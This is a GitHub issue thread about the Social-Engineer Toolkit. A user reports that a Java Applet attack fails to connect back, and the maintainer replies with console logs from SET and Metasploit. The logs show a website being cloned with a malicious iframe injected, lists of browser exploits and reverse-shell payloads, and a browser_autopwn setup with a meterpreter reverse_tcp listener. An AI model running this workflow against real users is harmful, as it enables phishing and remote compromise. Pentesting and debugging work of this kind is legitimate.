search

trustedsec / social-engineer-toolkit

The Social-Engineer Toolkit (SET) repository from TrustedSec - All new versions of SET will be deployed here.
10.69k stars 2.73k forks source link

Java Applet - no connection attempts to listeners #90

Closed craigggers closed 9 years ago

craigggers commented 9 years ago

I appear to have a working MSF and SET, however, the Java Applet does not attempt to make a connection to my listeners (tcpdump running on the victim). Only possible error appears to be lack of compatible encoders, suggesting an MSF issue. Using SET 6.0.5 and metasploit v4.10.1-dev:

set:payloads> Enter the number for the payload [meterpreter_reversetcp]:6 [] Encrypting the shellcode via 256 AES encryption.. [] Dynamic cipher key created and embedded into payload. [] Prepping Multi-pyInjector for delivery.. [] Base64 encoding shellcode and prepping for delivery.. [] Multi/Pyinjection was specified. Overriding config options. [] Generating x86-based powershell injection code... [] Generating x86-based powershell injection code... [] Generating x86-based powershell injection code... [] ReverseHTTPS takes a few seconds to calculate..One moment.. Found 0 compatible encoders [] Generating x86-based powershell injection code... [] Reverse Shell takes a few seconds to calculate..One moment.. Found 0 compatible encoders [] Finished generating powershell injection bypass. [*] Encoded to bypass execution restriction policy...

trustedsec commented 9 years ago

Unable to reproduce this using the latest version of Metasploit and SET... Any additional info would be appreciated but does not appear to be a SET issue at this time.

This does not appear to be a SET issue, although its pulling input, I can't reproduce this in any fashion in the latest version. Only guess I have is that this is a super old version of SET..

set:webattack>1 [-] NAT/Port Forwarding can be used in the cases where your SET machine is [-] not externally exposed and may be a different IP address than your reverse listener. set> Are you using NAT/Port Forwarding [yes|no]: no [-] Enter the IP address of your interface IP or if your using an external IP, what [-] will be used for the connection back and to house the web server (your interface address) set:webattack> IP address or hostname for the reverse connection:192.168.5.5

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> Select a template:1

Enter the browser exploit you would like to use [8]:

1) MS14-012 Microsoft Internet Explorer TextRange Use-After-Free (2014-03-11) 2) MS14-012 Microsoft Internet Explorer CMarkup Use-After-Free (2014-02-13) 3) Internet Explorer CDisplayPointer Use-After-Free (10/13/2013) 4) Micorosft Internet Explorer SetMouseCapture Use-After-Free (09/17/2013) 5) Java Applet JMX Remote Code Execution (UPDATED 2013-01-19) 6) Java Applet JMX Remote Code Execution (2013-01-10) 7) MS13-009 Microsoft Internet Explorer SLayoutRun Use-AFter-Free (2013-02-13) 8) Microsoft Internet Explorer CDwnBindInfo Object Use-After-Free (2012-12-27) 9) Java 7 Applet Remote Code Execution (2012-08-26) 10) Microsoft Internet Explorer execCommand Use-After-Free Vulnerability (2012-09-14) 11) Java AtomicReferenceArray Type Violation Vulnerability (2012-02-14) 12) Java Applet Field Bytecode Verifier Cache Remote Code Execution (2012-06-06) 13) MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption (2012-06-12) 14) Microsoft XML Core Services MSXML Uninitialized Memory Corruption (2012-06-12) 15) Adobe Flash Player Object Type Confusion (2012-05-04) 16) Adobe Flash Player MP4 "cprt" Overflow (2012-02-15) 17) MS12-004 midiOutPlayNextPolyEvent Heap Overflow (2012-01-10) 18) Java Applet Rhino Script Engine Remote Code Execution (2011-10-18) 19) MS11-050 IE mshtml!CObjectElement Use After Free (2011-06-16) 20) Adobe Flash Player 10.2.153.1 SWF Memory Corruption Vulnerability (2011-04-11) 21) Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute (2011-06-01) 22) Internet Explorer CSS Import Use After Free (2010-11-29) 23) Microsoft WMI Administration Tools ActiveX Buffer Overflow (2010-12-21) 24) Internet Explorer CSS Tags Memory Corruption (2010-11-03) 25) Sun Java Applet2ClassLoader Remote Code Execution (2011-02-15) 26) Sun Java Runtime New Plugin docbase Buffer Overflow (2010-10-12) 27) Microsoft Windows WebDAV Application DLL Hijacker (2010-08-18) 28) Adobe Flash Player AVM Bytecode Verification Vulnerability (2011-03-15) 29) Adobe Shockwave rcsL Memory Corruption Exploit (2010-10-21) 30) Adobe CoolType SING Table "uniqueName" Stack Buffer Overflow (2010-09-07) 31) Apple QuickTime 7.6.7 Marshaled_pUnk Code Execution (2010-08-30) 32) Microsoft Help Center XSS and Command Execution (2010-06-09) 33) Microsoft Internet Explorer iepeers.dll Use After Free (2010-03-09) 34) Microsoft Internet Explorer "Aurora" Memory Corruption (2010-01-14) 35) Microsoft Internet Explorer Tabular Data Control Exploit (2010-03-0) 36) Microsoft Internet Explorer 7 Uninitialized Memory Corruption (2009-02-10) 37) Microsoft Internet Explorer Style getElementsbyTagName Corruption (2009-11-20) 38) Microsoft Internet Explorer isComponentInstalled Overflow (2006-02-24) 39) Microsoft Internet Explorer Explorer Data Binding Corruption (2008-12-07) 40) Microsoft Internet Explorer Unsafe Scripting Misconfiguration (2010-09-20) 41) FireFox 3.5 escape Return Value Memory Corruption (2009-07-13) 42) FireFox 3.6.16 mChannel use after free vulnerability (2011-05-10) 43) Metasploit Browser Autopwn (USE AT OWN RISK!)

set:payloads>43

1) Windows Shell Reverse_TCP Spawn a command shell on victim and send back to attacker 2) Windows Reverse_TCP Meterpreter Spawn a meterpreter shell on victim and send back to attacker 3) Windows Reverse_TCP VNC DLL Spawn a VNC server on victim and send back to attacker 4) Windows Bind Shell Execute payload and create an accepting port on remote system. 5) Windows Bind Shell X64 Windows x64 Command Shell, Bind TCP Inline 6) Windows Shell Reverse_TCP X64 Windows X64 Command Shell, Reverse TCP Inline 7) Windows Meterpreter Reverse_TCP X64 Connect back to the attacker (Windows x64), Meterpreter 8) Windows Meterpreter Egress Buster Spawn a meterpreter shell and find a port home via multiple ports 9) Windows Meterpreter Reverse HTTPS Tunnel communication over HTTP using SSL and use Meterpreter 10) Windows Meterpreter Reverse DNS Use a hostname instead of an IP address and use Reverse Meterpreter 11) Download/Run your Own Executable Downloads an executable and runs it

set:payloads>2 set:payloads> Port to use for the reverse [443]:

[] Cloning the website: [] This could take a little bit... [] Injecting iframes into cloned website for MSF Attack.... [] Malicious iframe injection successful...crafting payload.

[*] Apache appears to be running, moving files into Apache's home

Web Server Launched. Welcome to the SET Web Attack.

[--] Tested on Windows, Linux, and OSX [--] [--] Apache web server is currently in use for performance. [--] [] Moving payload into cloned website. [] The site has been moved. SET Web Server is now listening.. [-] Launching MSF Listener... [-] This may take a few to load MSF...

cowsay++

< metasploit >

   \   ,__,
    \  (oo)____
       (__)    )\
          ||--|| *

Validate lots of vulnerabilities to demonstrate exposure with Metasploit Pro -- Learn more on http://rapid7.com/metasploit

   =[ metasploit v4.9.3-2014072301 [core:4.9 api:1.0] ]

[_] Processing /root/.set/meta_config for ERB directives. resource (/root/.set/meta_config)> use auxiliary/server/browser_autopwn resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp resource (/root/.set/meta_config)> set LHOST 192.168.5.5 LHOST => 192.168.5.5 resource (/root/.set/meta_config)> set LPORT 443 LPORT => 443 resource (/root/.set/meta_config)> set URIPATH / URIPATH => / resource (/root/.set/meta_config)> set SRVPORT 8080 SRVPORT => 8080 resource (/root/.set/meta_config)> set ExitOnSession false ExitOnSession => false resource (/root/.set/metaconfig)> exploit -j [] Auxiliary module running as background job msf auxiliary(browserautopwn) > [] Setup [_] Obfuscating initial javascript 2014-10-07 03:32:51 -0400 [*] Done in 0.55021736 seconds

[*] Starting exploit modules on host 192.168.5.5...